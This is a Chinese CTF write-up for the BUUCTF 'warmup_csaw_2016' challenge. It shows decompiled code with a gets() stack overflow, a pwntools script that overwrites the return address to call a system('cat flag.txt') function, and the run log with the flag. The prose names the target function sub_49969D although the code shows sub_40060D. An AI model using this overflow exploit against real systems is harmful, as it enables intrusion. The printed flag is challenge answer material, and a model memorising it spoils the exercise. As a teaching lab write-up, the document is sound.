warmup_csaw_2016 buuctf

v5处存在栈溢出，sprintf输出sub_49969D()函数地址

```
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char s; // [rsp+0h] [rbp-80h]
  char v5; // [rsp+40h] [rbp-40h]

  write(1, "-Warm Up-\n", 0xAuLL);
  write(1, "WOW:", 4uLL);
  sprintf(&s, "%p\n", sub_40060D);
  write(1, &s, 9uLL);
  write(1, ">", 1uLL);
  return gets((__int64)&v5, (__int64)">");
}
```

同时sub_49969D()函数会输出flag

```
int sub_40060D()
{
  return system("cat flag.txt");
}
```

构造栈溢出，返回到sub_49969D()函数即可

Python

```python
from pwn import *
p = remote('node3.buuoj.cn',27268)
#p = process('./pwn')
context.log_level='debug'
p.recvuntil('0x')
sys_addr = int(p.recv(6),16)
print hex(sys_addr)
payload = 'A'*0x40 + 'A'*0x08 + p64(sys_addr)
p.sendlineafter('>',payload)
p.interactive()
```

```
root@ubuntu:/home/ams/ws/p3# root@ubuntu:/home/ams/ws/p3# python exp.py
[+] Opening connection to node3.buuoj.cn on port 27268: Done
[DEBUG] Received 0x18 bytes:
    '-Warm Up-\n'
    'WOW:0x40060d\n'
    '>'
0x40060d
[DEBUG] Sent 0x51 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  |AAAA|AAAA|AAAA|AAAA|
    *
    00000040  41 41 41 41  41 41 41 41  0d 06 40 00  00 00 00 00  |AAAA|AAAA|··@·|····|
    00000050  0a                                                  |·|
    00000051
[*] Switching to interactive mode
[DEBUG] Received 0x2b bytes:
    'flag{8797ca75-9104-421c-b3b5-4278fd50ff2f}\n'
flag{8797ca75-9104-421c-b3b5-4278fd50ff2f}
[DEBUG] Received 0x2b bytes:
    'timeout: the monitored command dumped core\n'
timeout: the monitored command dumped core
[*] Got EOF while reading in interactive
$
```